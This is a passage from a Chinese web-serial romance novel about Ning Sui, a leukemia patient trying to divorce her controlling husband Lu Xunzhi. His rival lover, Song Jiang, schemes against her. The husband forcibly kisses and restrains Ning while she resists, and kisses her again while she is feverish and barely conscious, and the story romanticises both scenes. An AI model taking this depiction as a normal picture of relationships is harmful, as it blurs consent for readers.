男人脸色冷下来,捏住宁穗的下巴,迫使她抬头。 但她垂着眸子,根本不看他,满脸都是淡淡的死气。 这让陆勋之更加恼火,“宁穗,你口口声声说嫌弃私生子,你既然这么看不上,为什么还要跟王习来往?” 男人的话盛满怒气,让宁穗浑身一抖,她倏地抬眼看向他,满是惊讶疑惑,“你、你胡说什么?” 陆勋之恶劣地轻笑,“看来你的好师兄也知道自己的身份见不得光。” 宁穗不敢相信,她第一反应就是陆勋之在撒谎,反驳道,“我师兄比你还大两岁,怎么可能是——”私生子。 宁穗的话骤然一顿。 她一眨不眨地看着陆勋之,男人眼底只有嘲讽,没有任何被揭穿的愧疚。 王习比陆勋之还要大两岁。 所以陆父在他出生之前,就已经有了王习? 这个事情太过震撼,宁穗整个人都僵住。 她在陆家这五年,完全没有听说过这件事。 也是了,这种丑闻,谁会主动告诉她这个无关紧要的人呢? 宁穗嘴里喃喃,“不可能……” 陆勋之的脸色更差了几分,下一秒将人拦腰扛起。 她轻飘飘的,陆勋之一只手就能抱起来。 失重感唤回宁穗的理智,看着陆勋之扛着她往卧室走,宁穗心中警铃大作。 连踢带踹,低吼着,“陆勋之,你要做什么!” 陆勋之轻而易举地压住她的腿,“做什么?就是你每天晚上求着我做的事。” 宁穗僵住。 刚结婚的时候,陆勋之对她很冷淡。 那时候她没辙了,就去网上搜,怎么才能得到老公的欢心。 她买了很多调节氛围的衣服,只要陆勋之回家时间不是很晚,她都会去吸引他。 当时她只是喜欢他,希望自己的真心能有一天能打动他。 她从来没想过,有一天,这会成为陆勋之侮辱她的理由。 宁穗头朝下,眼泪啪嗒啪嗒地砸在地上,像是不要钱一样。 陆勋之将她放在床上,随即高大的身躯压下来。 宁穗慢半拍地反抗,可陆勋之一只手,就轻轻松松抓住她的两手,压过头顶。 男人的脸埋进她的颈窝,疯狂汲取她的气息。 宁穗根本反抗不了一点。 五年的亲密,陆勋之对她了如指掌。 她唇间克制不住地溢出声音。 宁穗只觉得羞耻和无奈,她紧紧咬住下唇,想要克制。 可根本没有用。 情欲涌上来的很快,宁穗的理智快要被瓦解殆尽。 突然陆勋之停住动作,在她耳边低语,粗重的呼吸让他的声音更加性感。 “身体不会骗人,你对我还有感觉。宁穗,你就承认吧。” 宁穗脸颊滚烫,一边痛恨自己的身体不争气,一边又不想被他继续侮辱。 她稳住声调,但还是有一丝沙哑,“陆勋之,我是正常人,我也有需求。你长得好看身材也不错,睡你我也不亏。” 陆勋之鼻腔里哼笑出声,“那你还反抗什么?欲擒故纵?” 宁穗眼角泛红,冷淡地看向他,“我以前觉得不亏,但是现在嫌你脏。” 陆勋之眸子眯了眯,下颌紧绷,冷不丁笑出声,“是嫌我脏,还是嫌我碍事?没有我,你是不是就可以和王习名正言顺——” 啪! 陆勋之的脸被扇得撇向一边。 宁穗气到极点,明明是他不知廉耻,为什么每次都要扯上她和王习。 为什么非要往她身上扣帽子。 这一巴掌宁穗蓄满了力。 陆勋之的嘴角有微微的血丝渗出来。 他舌尖抵了一下唇角,铁锈味弥漫开来。 转过眸来,眼底的偏执和阴鸷,瞬间迸出。 下一秒,疯狂的吻砸下来。 宁穗呼吸都被全数掠夺,她使劲全力咬了下去。 陆勋之痛的退开。 男人眼底的冷意仿佛要凝成实质。 宁穗胸口剧烈起伏,因为缺氧,眼前的视线一黑一黑的。 她绝望到极致,声音干哑难听,“陆勋之,你是想逼死我吗?” 眼前的女人,脸白得像纸一样,眼睛似乎也在失焦和聚焦之间游移。 看上去真的快要碎掉了。 “宁穗,你死,也只能是陆家的鬼。”陆勋之眼底的偏执更深,“你和我,是要纠缠一辈子。” 男人起身离开。 房门被摔得震天响。 两行滚烫的泪,顺着宁穗的眼尾滑落。 她眼底最后一点星光,彻底熄灭。 她实在想不明白,为什么陆勋之跟宋姜都有孩子了。 却还要留她在身边。 就是单纯地要折磨她吗? 一股痛意快要冲出胸口,随即腥甜的味道涌上来。 宁穗呕得蜷缩起来,手从嘴边拿开,掌心鲜红。 “宁穗!” 她听到一道凄厉的声音,随即晕了过去。 第24章 宁穗,你是故意的! 宁穗醒过来的时候,自己已经躺在卧室的床上,她怔怔地望着天花板,旁边的人注意到她醒来,赶紧起身。 “穗穗,你没事吧?”宁穗缓缓看向对方,在看到王习的脸时,她眼中一闪而过的失望。 王习怔了一下,但也没说什么。 “没事,师兄,你怎么又回来了?”宁穗挣扎着起身,王习上手想扶她,但她还是躲开了。 王习的手悬在半空,随即失落收回,“我本来想回来给你送点吃的,正好碰到陆勋之生气离开。怕你有事,就上来看看,是笑笑给我的密码。” 宁穗看了他一眼没说什么。 陆勋之说的话,还萦绕在耳边。 陆勋之久居高位,他高傲惯了,不屑于撒谎,所以王习的事,大概率是真的。 在她的印象里,王习好像一直跟母亲生活在一起,她从来没见过王习的父亲。 但她也没问过。 家家有本难念的经,她也不想去揭开别人的伤疤。 宁穗只当做不知道。 “师兄,太晚了,你赶紧回去吧,我没事,就是低血糖了。” 宁穗赶人,但王习不肯走,“你都晕倒过好几次了,你去医院检查过吗?” 宁穗垂了眸子。 她生病的事,只告诉了唐佳笑。 后续治疗如果涉及到要家属签字,她需要一个值得信赖的人。 她和陆勋之离婚之后,这个人只能是唐佳笑。 宁穗扬起眸子,嘴角扬起淡淡的笑意,“师兄,我没事,你放心吧。赶紧回吧。” 她和王习之间的关系,问心无愧。 但是深更半夜,孤男寡女,确实不方便。 宁穗坚持,王习也不好再说什么,于是起身,“那你有什么事,随时联系我。笑笑不在,我们的关系最近。” 宁穗点头。 等王习离开,宁穗缓了缓起身,看到客厅里摆着十几个礼服包装盒,垂在身侧的手缓缓蜷起。 她拿出手机给陆勋之发信息,但是字删删减减,还是退了出去。 又找出助理唐桓的聊天框,【这些裙子,收走吧,谢谢。】 她拍了一张照片。 那边显示了半天“正在输入”,然后回过来,【太太,总裁说送您的,您决定。】 宁穗想了想没再回。 第二天,宁穗在网上查了查这些裙子的价格,这些裙子都是顶奢品牌,即便是二手的价格也很可观。 宁穗想了想,既然都是她的,那她就卖掉换钱,换几十万也好。 于是她在收购二手奢侈品的平台问了客服。 这些裙子都是顶奢品牌,对方和宁穗约好,让她将裙子带到店里去检查估价。 她带的东西多而且贵,是老板亲自接待。 “您带的这些里面有的是设计师孤品,正好有客户找。”老板检查完,跟宁穗商量,“要不一会儿直接让客户过来,你们可以商量价格。” 宁穗觉得无所谓,就点头答应。 得到她的允许,老板打了一通电话出去,“东西没问题,正品且是新的。您可以直接跟买家见面聊聊。” 十分钟后,有人推门而入,对方浑身带着趾高气扬的气势,“裙子呢?” 宁穗仰眸,正好撞进对方的视线,她脸色淡淡,对方却先不淡定了,“是你。” 宋姜一身高定,只是那个包就有几十万。 宁穗收回视线,看向老板,“您给我的价格,我可以接受,具体您要卖给谁,我就不管了。” 这是不想谈了。 老板一愣,自然看出宁穗和宋姜认识,且不对付,也就没强求,客气地跟宁穗说:“那您直接到前台,我让前台给您结账。” 宋姜看了一眼裙子,都是她喜欢的孤品。 她不喜欢跟别人撞衫,这些年,她执着于正红色的礼服,正是在弥补自己心中的遗憾。 但是没想到,自己想找的东西,竟然是从宁穗的手里得到,心里特别呕得慌。 “等等。”宋姜抬手拦住宁穗的去路,“宁穗,这些裙子是哪来的?” 一句话就质疑宁穗的人品。 老板眸光一转看向宁穗。 她的穿着很简单,全身上下也不过几百块。 拿着几十万的裙子来,确实有点奇怪。 但她气质不俗,加上裙子的盒子里都有发票,所以也是合规的。 老板不深究这个,只要东西合法,不管来路。 宁穗表情依旧淡淡,似乎对宋姜这个人没有任何兴趣,“宋小姐是想说什么?” 宋姜傲娇地收回手,两手交叉放在胸前,“我只是好奇,你又不上班,哪里来的钱买这些裙子。” 宁穗轻哼一声,“我老公给的。” 宋姜脸色一僵,下颌咬紧,后边的话,生生被怼了回去。 宁穗笑了笑,“宋小姐,还有疑问吗?” 宋姜压下眼底的妒意,老公,很快就不是了。 她哼了一声没再说什么。 宁穗却说:“我还有要说的。”她转脸看向老板,“如果是这位宋小姐买,那我价格要翻倍。” 老板一愣,他自然是愿意的,反正他是挣手续费,价格越高,手续费越高。 可现在这明显是个人恩怨夹杂在里面,老板尴尬地笑笑,没有说话。 宋姜急了,“宁穗,你是故意的!” 宁穗不管,她看向宋姜,“所以呢?翻倍之后,宋小姐买不起了吗?” 一句话将宋姜激怒了。 她在宋家的境遇并不好,从小到大,她都被自己的堂兄弟姐妹们欺负。 她母亲家世一般,更是没什么才干,单纯就是长得还不错。 在宋家自然也就没人看得起。 宋父嫌弃她是个女儿,偏偏她母亲生完她之后身体受损,再也不能生育。 现在宋父在外边有了私生子,更是不把她当事。 零花钱本来就少,现在宁穗又翻倍。 她确实买不起。 宋姜脸色难看,随即她想到什么,“我打个电话。” 当着宁穗的面,她找出陆勋之的电话号码拨过去,那边秒接,“怎么了?” 男人温柔的声音传出来。 宁穗垂着眸子,手指却嵌进掌心。 宋姜得意地看着她,“我看上两条裙子,但是钱带的不够。” 宁穗掌心被自己的指甲掐的,疼得发麻,她听到陆勋之说:“好,我让助理给你打过去。” 第25章 她的心彻底凉了 宋姜清脆地哎了一声,挂断了电话,然后看向老板,“裙子我要了。” 随即又看向宁穗,“两倍够吗?要不要给你三倍?反正勋之都会同意的。” 在她的印象里,宁穗很容易被激怒,她故意在宁穗面前给陆勋之打电话。 按道理说,宁穗应该发疯发狂,搞不好还会像上几次一样,要打她。 不过这次在店里,她不会受伤,但是这件事,她会让陆勋之知道。 到时候就坐实了宁穗是泼妇的事实。 宁穗垂着眸子,冷不丁哼笑一声,“那就三倍。” 宋姜笑容一僵。 宁穗非但没有生气,还说要三倍。 “什、什么意思?”宋姜气急,“不是都说好了吗?你坐地起价,有没有道德?” “我没有道德,你不想买就算了。”宁穗转脸看向老板,“既然她不要,那我就不卖了。” 老板急了,这几条裙子可都是设计师孤品,他可想做成这单。 “宁小姐,您别急,我再帮您联系别的客户。” 一句话将宋姜架上去,她不要,就是她买不起。 眼看两人要走,宋姜上前,“我说不要了吗?我刚才不是说了?我要什么,勋之都会给我买。” 宁穗淡淡地看着她,“那就刷卡吧。” 她只想看到钱。 宋姜气的胸口起伏,但还是乖乖买单。 宁穗看到自己手机上的余额,一下子多出一百多万,勾唇笑笑。 这个表情可气到宋姜,“宁穗,有意思吗?拿勋之的东西,转手卖给我,除了证明勋之更在乎我。你还能得到什么?” 宁穗脸色淡淡的,“宋姜,我和陆勋之还在婚姻存续期,他给你花的每一分钱,我都有权力追回,我还真要谢谢,上赶着给我送证据。” 宋姜僵住,“你!” 宁穗看着她调色盘一样的脸色,冷漠离开。 “拿到这点钱又能怎么样?你眼皮子这么浅,就为了一点钱霸占着陆太太的位置,勋之早就受够了。”宋姜不依不饶,“你以为拿个破鼻烟壶就能得到周夫人的欢心?宁穗,你太天真了,周家和陆家是什么关系?勋之早就帮我争取到周夫人美术馆的客座设计师的席位。这点小钱,我自己也能挣。” 宁穗的脚步一顿,她缓缓转头看向宋姜,脸色黑沉得厉害,“周家美术馆?” “对啊,你巴结周夫人不就是为了这个?可你用尽心思,最后又能怎么样?还不是给我?”宋姜得意地撩了一下头发,看到宁穗的脸色难看,她更开心。 “宁穗,我要是你就赶紧离婚,体面离开。”说完,宋姜转身离开。 宁穗紧紧闭上眼睛,眼睫因为激动颤抖得厉害。 她拿出手机,手指颤动,手机差点掉了。 拨通了桑甜的电话,宁穗哽了一下,才勉强出声,“甜甜,我想问一下,是不是阿姨的美术馆招了新的客座设计师。” 桑甜那边明显一愣,“我不知道啊,你等等,我问下。” 宁穗挂断了电话,吊着的心放下不少。 桑甜都不知道,那可能是宋姜吹牛,故意刺她的也说不准。 可五分钟,桑甜回过电话来,打破了宁穗的幻想。 “穗穗,不好意思,我妈那边也有难处,不过你放心,该介绍给你的项目,我还是会留意的,这点是我们食言了,肯定会补偿你。” 宁穗觉得胸口像被重锤凿开,心口呼呼漏风。 她知道这之中有陆勋之的手笔。 就算周夫人看不上宋姜,但最后还是要看陆勋之的面子。 更何况周家和陆家本来就是世交。 她是一个下堂妇,能有什么话语权? 可她不能怨桑甜,人家已经帮了很多,“谢谢甜甜,你费心了。” 桑甜很抱歉,又说了一些安慰的话,才挂断。 宁穗也不知道自己是怎么走出了二手奢侈品店。 老天爷好像都跟她作对似的,突然就下起了小雨。 她停在路边,出神地望着不远处,那辆熟悉的劳斯莱斯停在路边,宋姜的身影一闪上了车。 陆勋之还亲自来接她啊。 宁穗嘴角扯出苦笑。 想到昨晚上陆勋之拿了裙子去找她。 可现在裙子兜兜转转又回到宋姜手上。 一百多万而已,对陆勋之而言根本不算什么。 博美人一笑而已。 可对于宁穗来说,却是要了命。 为什么还要抢了她的工作机会? 在陆勋之看来,这五年真的毫无意义吗? 车子消失在雨帘之中。 宁穗被毛毛细雨一点点浸湿,她的心已经凉透。 她缓缓抬头看向天空。 雨线密密麻麻落进眼睛,滚烫得让人睁不开眼。 宁穗忽然转身,走进二手奢品店,“老板,我还有一样东西要卖。” …… 陆勋之开完会,直接让大家下班。 这还是总裁第一次这么早结束工作。 尤其是这段日子,项目的事很紧,陆勋之几乎每天都住在办公室。 “备车。”陆勋之捏了捏眉心。 唐桓一愣,“陆总,车子送宋小姐去了,还没回来。公司还有一辆备用车,我马上准备。” 陆勋之对自己的私人物品有近乎洁癖的偏执。 他的办公室、车子,清洁度和物品摆放必须要一丝不苟按照他的喜好来。 听到唐桓的话,陆勋之倏地睁开眼看他,眼底不满,“为什么用我的车送?” 他不喜欢女人的香水,他的车,从来都不坐女人。 即便是公司里的员工,或者客户,都不行。 唐桓脸色有些不自然,刚才陆勋之让他给宋姜打钱,随即宋姜又打来电话说让他来接。 当时正要去开会,司机就搞错了,直接开走了陆勋之的劳斯莱斯。 等他知道的时候,车子已经接上宋姜。 陆勋之交代过,接下来的一年,只要不是原则性的问题,要对宋姜有求必应。 不等唐桓说什么,陆勋之摆摆手,“算了,就备用车吧。” 劳斯莱斯就算送回来,也有宋姜身上的香水味。 他受不了。 陆勋之上车,闭目养神,唐桓问去哪儿。 他哑声开口,似是毫无思考,“青朗园。” 青朗园,是唐佳笑的住处。 唐桓一愣,这是又要去找宁穗了? 第26章 我快死了,快痛死了 陆勋之走到唐佳笑家门口,从口袋里掏出一个指纹套。 这是在宁穗的梳妆台里找到的。 她画画用的颜料,有些很伤手,她手指上的指纹,在别墅的指纹锁上,经常读不出来。 总是进不去家,她就干脆做了一个指纹套。 再后来,陆勋之换了刷脸的锁,这个指纹套就空置下来。 宁穗后来都忘了这个东西。 陆勋之熟门熟路地将指纹套圈在自己的小拇指上,贴上指纹锁,咔哒,门锁打开。 房间里亮着灯。 暖黄色的灯,让他有一瞬间的错觉。 像是往常,宁穗在家里等着他。 陆勋之顿了一下,等待着宁穗跑出来看。 可是静悄悄的,像是没人似的。 陆勋之缓步走进去,看到沙发上的人,瞬间皱眉。 宁穗缩成一团,盖着一个小薄毯,闭着眼睛像是在睡觉。 她眉心拧出一个小疙瘩,脸颊是不正常的红色。 陆勋之上前摸她的额头,烫手。 这些日子,她好像不是在晕倒,就是在生病。 陆治之都说宁穗瘦得有些过了。 是在减肥吗? 陆勋之分神想了想,脑海里却不由自主地浮现出宁穗的身体。 她的身材很好,该瘦的地方瘦。 可该丰满的地方一点都不含糊。 陆勋之的喉结上下滚动,轻轻推了推宁穗的肩膀,“你生病了,起来吃药,然后去屋里睡。” 宁穗无意识地哼哼两声,好像被扰了清梦很不开心,动了动脑袋,并没有醒来。 陆勋之抿唇,将人抱起。 轻飘飘的,好像只剩下骨头了一样。 陆勋之的眉心拧出小山,“减肥不要命吗?” 怀里的人,下意识地搂住他的脖子,滚烫的额头在他的颈窝里拱了拱。 浓密的睫毛,在眼睑上落下一层淡淡的阴影。 看上去乖巧得很。 跟近日里张牙舞爪的样子,完全判若两人。 陆勋之愣了愣,他好像又见到刚结婚时的宁穗。 那么乖巧又懂事。 每次看到他都开心得不行,不管他说什么,宁穗都是眼底冒着星光,满心满眼都是他。 他突然觉得好像很久没有见过宁穗那样看着自己了。 是从什么时候开始的呢? 陆勋之将人放在床上。 宁穗洗完澡穿的浴袍,随着男人的动作,修长的腿露出来。 她的身材比例很好,腿又长又直,瘦而不柴。 陆勋之看了两眼,抿唇拉过被子,给她盖上。 再回头,却看到宁穗睁着一双无声的大眼睛,正看着他,但又想透过他在看别人。 男人回望着她,听到她开口,声音像是砂纸磨过,特别沙哑,说出的话,显得更加可怜。 “肯见我了,不生气了?” 陆勋之诧异了一瞬,刚要说话,宁穗又说:“我想要抱抱。” 说着,一双白白的手臂径直伸过来,陆勋之下意识地凑上去,将人抱在怀里。 宁穗在他的肩头蹭了蹭,像是撒娇一样,跟她平时的样子完全不同。 “我想吃糖稀,你帮我缠好不好?像以前一样。” 陆勋之微微勾起的唇角骤然冻住。 他可从来没有给宁穗缠过糖稀。 他不喜欢吃甜的,更不会吃这种几分钱的东西。 “宁穗,你看清我是谁。”陆勋之的声音透着阴沉。 但宁穗完全烧糊涂了,她晃晃悠悠地抬头看向他。 眼睛完全是失焦的。 可她又认认真真地点头,“嗯,你是妈妈。” 陆勋之,“……” 他真是又好气又好笑。 抬手掐住宁穗的下巴,“你是不是故意的?” 宁穗的眼圈突然就红了,“你还在生气是不是?我知道错了。” 她抱住陆勋之的腰,“我当初该听你的话。我现在好后悔,后悔嫁给陆勋之。” 男人一僵,垂眸看着怀里的人,鸦羽上沾着细碎的泪珠,看上去快要碎掉了。 “我好痛啊,真的好痛。”宁穗的声音哑得只剩下气声。 陆勋之突然有些心软,沉着声音问,“哪里痛?” 宁穗很认真地指了指自己的膝盖,“骨头痛。” 又指了指自己的心口,“这里也痛。” 陆勋之只当她是因为发烧导致的骨头痛。 他轻轻揉她的膝盖,“我帮你揉揉。” 宁穗摇头,“没用的,我快死了,快痛死了。” 陆勋之沉了脸,“宁穗,不要说这种丧气话。” 死不死的,他真的不想听。 宁穗怔怔地摇摇头,从他的怀里挪出来,无力地倒在床垫上,喃喃道,“没人在乎。他已经不在乎我的生死了……” 大颗大颗的眼泪从她的眼角滚落。 她累极了,缓慢地闭上眼睛,呼吸变得绵长粗重。 又昏睡过去。 陆勋之拉她的手臂,“起来,吃了药再睡。” 宁穗皱着眉哼哼两声,软绵绵地翻了身。 看上去是真的很难受。 都把他认错成妈妈了。 陆勋之冷着脸,她刚才说的话,还在耳边萦绕。 后悔嫁给他吗? 那就后悔吧。 陆勋之出去找到退烧药,拿杯子接了温水。 可宁穗已经睡沉,完全叫不起来。 陆勋之垂眸看着她,将人抱在怀里。 将药塞进她的嘴里,然后喝了一口水,贴到她嘴上。 宁穗听话得很,没有任何挣扎。 药被她吞下。 陆勋之撤开几毫米,眼前的人滚烫得很,嘴唇更是红艳艳的。 他咽了下喉咙,再次贴了上去。 宁穗的鼻子塞得很,嘴巴又被什么堵上。 还有一个软软的东西,不停地搅动。 她下意识地抬手挥动。 啪! 男人的动作一顿。 她没什么力气,这一下不似前几天那样有杀伤力,但也把陆勋之的理智拉回来。 他起身站在床边,看着宁穗再次睡过去,再低头看看自己,很不爽地转身离开。 宁穗这一夜睡得并不安稳,时而像是在火上烤,时而又像是掉进了冰窖里。 她看到妈妈对她冷着脸。 这些年,因为她执意要嫁给陆勋之,她和母亲的关系冷淡了不少。 尤其是陆勋之从来不跟她回娘家,她后来也不敢去了。 生怕母亲因为她过得不好,再逼着她离婚。 梦里她看到妈妈都哭了出来,可嗓子里像是被棉花塞住,哭不出声,胸口痛得要命。 她猛地醒来,胸口还好闷。 后知后觉,她突然低头一看,一只精壮的手臂压在她心口上。 光洁的皮肤,精瘦有力的肌肉线条,好熟悉。 第27章 你是爱上我了吗? 宁穗一愣,以为自己还在睡觉,闭上眼睛再睁开,可手臂还结结实实压在她身上。 她猛地回头,看到陆勋之的睡颜。 浓密的睫毛在他的眼底压下一层淡淡的阴影。 平日里梳得一丝不苟的头发,现在随意地散落,盖住额头,让他没了往日的凌厉,看上去多了几分少年感。 宁穗懵了,昨晚上她回到家,就觉得浑身不舒服,洗了澡想去拿药,可是躺在沙发上就昏睡过去。 陆勋之是怎么进来的? 懵了半晌之后,宁穗随即黑了脸,倏地起身,甩开了男人的胳膊。 她下床套上衣服,陆勋之才缓缓睁开眼,声音带着初醒的沙哑,“醒了?” 他伸手将人拉回去,宁穗不敌他的力气,被迫跌进他的怀里,随即愣住。 陆勋之竟然用自己的额头抵住她的,感受了两秒,“嗯,退烧了。” 宁穗怔怔地看着他,“陆勋之,你这是干什么?” 陆勋之似是半梦半醒的,这会儿被宁穗一句话给问的,彻底醒了。 他不自然地退开,“你病了。” 宁穗眼睫颤动,“你是在关心我,照顾我吗?” 陆勋之抿唇,他这样的身份地位,怎么可能去照顾一个女人。 即便那人是他的妻子。 可他昨晚又在做什么呢? 给温泠喂药,用温毛巾一遍遍擦她身子,帮她降温。 直到天蒙蒙亮他才睡下。 衣服都没换。 这会儿白衬衣,皱皱巴巴的。 宁穗轻笑一声,带着讽刺。 昨天为了宋姜的面子一掷千金,今天却又出现在她的床上。 还真是博爱。 “陆勋之,你是爱上我了吗?”宁穗冷不丁地问。 男人倏地黑了脸,撒气一样掀开被子下床,留给宁穗一个背影,“你想多了。” 虽然知道答案,但是真听到的时候,宁穗的心还是痛了一下。 她深吸一口气,仰头看着天花板,快速眨眼,压下眼底的热意。 好了,宁穗,不要为这种人流眼泪。 心疼嘛,疼着疼着,就麻木了。 宁穗深呼吸了几次,穿好衣服走出卧室,却意外看到站在阳台打电话的陆勋之。 他居然还没走。 刚才那个样子,明显是生气了,宁穗以为他肯定气的,不想跟她在一个空间。 以前也不是没有。 宁穗稍微不顺着他的心意,他就会给脸色看。 尤其是在宋姜的事情上。 刚结婚的时候,宁穗心里也不舒服。 毕竟自己的丈夫在婚礼上丢下她,去找别的女人。 那天,她独自撑完了婚礼,新婚夜陆勋之都没回来,她还差点出事。 可是那时候她太爱陆勋之了,想给他机会解释,甚至为他找借口,问宋姜是不是身体不舒服,他才去找宋姜。 陆勋之什么解释都没有,只说:“宋姜的人,你不要掺和。” 是啊,他和宋姜才是一家人。 而她,不过是个暖床的丫头。 宁穗深吸一口气,只当是没看到陆勋之,她走到厨房,给自己简单弄了一个三明治,热了一杯牛奶。 拿到餐桌上,自顾自吃起来。 陆勋之打完电话,就看到宁穗在吃早餐,还是一人餐。 他看到宁穗吃的东西,眉心皱了皱,“就这些?” 宁穗眼皮都没抬,“寒舍没你这个大少爷能吃的东西。” 陆勋之愣了一下,宁穗现在比前几天更冷淡了。 “你非要对我这么冷淡?你还没闹够?” 啪! 宁穗将牛奶杯,重重放在桌上,“陆勋之,我再说最后一遍,我没有闹。我只想赶快跟你离婚,也请你不要再出现在我面前。还有,你说的五百万,请你尽快拿一个协议给我。我凑够了,我和你就去领离婚证。” 他照顾了她一晚上,大清早就跟他提离婚。 陆勋之捏着手机的指节发白。 “宁穗,你要跟我分的这么清吗?” 宁穗觉得好像,要分清的明明是他,现在倒打一耙算什么? 陆勋之的手机再次响起,他看了一眼屏幕。 宁穗下意识地看了一眼,恰巧看到屏幕上闪烁着宋姜的名字。 她像是被扎了一下眼睛,赶紧收回视线。 下一秒陆勋之快步离开。 宁穗垂眸看着手里的面包片,都跟着她的手的幅度,缓缓颤抖。 她闭了闭眼,压下眼底的热意。 好不容易平静下来,可已经没什么胃口。 一大清早就被陆勋之和宋姜,搅和了。 宁穗缓缓起身,打算拿了东西去工作室,走出门的时候,突然想到什么。 陆勋之都来两次了,他是怎么进来的? 她回忆起自己的那个指模套,唇角抿成直线。 快速地删除了自己的食指指纹,重新设置了新的指纹。 宁穗在工作室待了半天,午饭的时候就接到了电话。 是她的主治医生打来的。 “宁穗,你最近没来复诊,身体怎么样?” “裴医生,我最近是有点乏力,而且晕倒过几次,还有发烧。” 裴斯年一听,有些急了,“你现在身体状况并不好,这么多症状,你怎么不回来看看?下午,你马上来医院一趟,赶紧检查下。” 宁穗一顿,一个只给她看过几个月病的医生都比陆勋之关心她。 想了想自己接下来要努力挣钱,身体真的不能垮。 虽然下午还有工作要做,但宁穗还是觉得先去医院看看。 于是她答应了裴斯年,吃完午饭就过去。 宁穗知道陆家在医疗行业里,到处都有资源。 但是最开始检查身体,她并没有去陆家的医院。 这几年,陆家每个人每半年就会去体检。 可是郑美婵从来没让她去过。 对她的身体,郑美婵只有一个执念,就是让她生孩子。 喝不完的苦药汤,宁穗已经怕了。 到后来,郑美婵对她的态度越来越差,几乎是恶劣的程度。 所以她身体出现不舒服时,第一反应就是去别的医院检查。 最开始,她怕自己身体生不出孩子,被郑美婵知道。 毕竟结婚五年,她和陆勋之也备过孕,但是她的肚子始终没有动静。 后来知道自己生病了,她更怕郑美婵知道后,要逼她离婚。 现在,她当然更不想陆家人知道。 奶奶刚刚生了一场大病,家里唯一对她好的人,现在都没精力管她。 她真怕郑美婵直接弄个医疗事故,让她一命呜呼。 第28章 宋姜知道宁穗的病 裴斯年跟宁穗是一个大学,在医学部,两人是因为社团活动有过一段时间接触。 他两人那时候关系还挺好的。 他跟陆勋之也是同窗。 只不过两人不知道为什么,大学的时候明明关系不错,后来就不来往了。 宁穗也就跟他失联了。 裴斯年在御城旁边的海城一家私立医院当主任,家里也有些背景。 宁穗最开始就是觉得海城离得近,一个小时就能到。 但是又不在陆家的势力范围,这样能安全一点。 就是这么巧,她挂了专家号,那天专家有急诊手术,让裴斯年替班,宁穗就遇上了裴斯年。 直到宁穗生病之后,裴斯年比她还急。 她刚知道病情的时候,人有些消极,是裴斯年一直鼓励她。 还说她这个病,只要等到合适的骨髓,治愈率非常高。 半年的时间,肯定能等到。 裴斯年甚至还亲自去给宁穗配型,只可惜,两人没配上。 宁穗打了一个顺风车,去了海城医院。 裴斯年见到她就皱了眉,“你怎么瘦成这样?” 才半个月没见,宁穗又瘦了一圈。 宁穗弯唇笑笑,“没瘦,天冷穿得厚,显得。” 拙劣的理由,但裴斯年只是眉头皱得更紧,没有戳穿她。 “走吧,先检查再说。” 这回宁穗没有拖延,乖乖去做了检查。 裴斯年给她加急,结果很快出来,他看了看,“你这个样子,就算骨髓到了,各项指标不达标,也不能做手术,知道吗?” 看到裴斯年有些生气,宁穗涎着脸,“裴医生,我知道,我会好好养身体。” 裴斯年扫了一眼宁穗的手,上面还有颜料留下的痕迹。 一看就是从工作室来的医院。 “你这么拼命做什么?”裴斯年有些不忿,“是你家婆又逼你了?” 之前宁穗在这边住过几天院,当时他听到郑美婵给宁穗打电话,让她赶紧赶工。 裴斯年没忍住问了问,宁穗便说了婆婆给自己准备了工作室,让她做一些工艺品送给朋友。 说得很委婉。 但是裴斯年不傻,一看就知道宁穗在被郑美婵剥削。 宁穗摇头,弯唇笑笑,还是温和到与世无争的样子,“没有,是我自己要做的事情,我现在我朋友的工作室里做事。” 裴斯年一愣,随即脱口而出,“陆勋之肯让你出去工作?” 他是知道宁穗嫁给了陆勋之。 这件事也是在宁穗来查身体的时候,偶然知道的。 当年两人就在谈恋爱,裴斯年知道的,所以对他们结婚的事,倒也没有惊讶。 只是他欲言又止,最后也没说什么。 宁穗以为他是跟陆勋之有些不愉快。 但裴斯年是有涵养的人,不会真的说陆勋之的坏话。 他这句话一出,两人都有些尴尬。 但宁穗很快笑笑,“我要跟他离婚了。” “离婚?”裴斯年甚至有些控制不住笑了笑,随即他意识到自己的失态,赶紧收敛,“早该离了,他配不上你。” 宁穗一愣,随即笑笑,只当裴斯年是在说客套话。 等检查完,裴斯年不放心,给宁穗开了一些药,让她务必要好好珍惜自己的身体。 宁穗再三保证,才被裴斯年放走。 宁穗快步离开医院,她还想赶回工作室再整理下自己的作品。 “哎,你在看什么?”白玲见宋姜朝着一个方向看,有些诧异,但真看过去,倒也没看到什么。 宋姜回神,喃喃,“我好像看到宁穗从血液科出来的。” 她想到什么,“白玲,你不是说在这里有熟人吗?帮我问问呗。” 白玲见到裴斯年的时候,对方正在整理病历。 “学长,你在忙呀?”白玲脸颊微微一红。 裴斯年随意地抬眼看她一眼,收回视线,“嗯,来了。” 这么多年,裴斯年对她都很冷淡。 但是白玲却觉得这是裴斯年的特点。 “学长,我带我朋友来这边查查身体。”白玲自顾找着话题。 “呵,你不是在陆氏吗?还用得着来我这个小庙?”裴斯年嘴毒得很。 他顿了一下,看向白玲,对方脸色很不好看,在迎上他目光的时候,明显刻意挤出微笑。 “对不起,我不是针对你。”裴斯年抱歉道,“你朋友身体没事吧?” 白玲知道裴斯年和陆勋之关系有些微妙,也就没当回事,“没事。她怀的珍贵儿,想多检查一下,放心一点。” 裴斯年点点头,继续整理手里的病历。 白玲好奇上前,“学长,现在不都电子病历了吗?你还手写啊?” 裴斯年没防备她,“嗯,我习惯手写,边写边想。” 白玲哦了一声,随意瞟了一眼,倏地睁圆了眼睛。 …… “血癌?”宋姜声音都变了调,“你说宁穗得了血癌?” 白玲眼底透着兴奋,“是啊,我看到她病历了,半年之内她要是拿不到骨髓移植,就要等死了。” 宋姜的手指都跟着颤抖。 真是老天给机会。 宁穗啊,宁穗,要怪就怪你自己命不好吧。 “她现在排上骨髓了吗?”宋姜兴奋的声音都有些颤抖。 “我问了裴学长,有几个正在接触,对方都还没答应。”白玲说。 裴斯年是找到了几个配型成功的,但是那些人还没有完全答应。 所以他还没告诉宁穗这件事。 怕还没敲定,万一对方反悔,宁穗空欢喜,到时候影响治疗效果。 以往也不是没遇到过,捐献者都上了手术台,但因为害怕还是毁约的。 这种事本来就是对方做好事,如果害怕不做了,也不能怪人家。 还有一些,因为知道配型上,想要活命,就去提前求那些捐献者。 道德绑架一番,对方也被吓得退缩的,也会有。 宋姜点点头,“白玲,你能拿到跟宁穗匹配上的那些名单吗?” …… 宁穗回到工作室,将底胚上了一层色,但是有些颜色,唐佳笑这里没有。 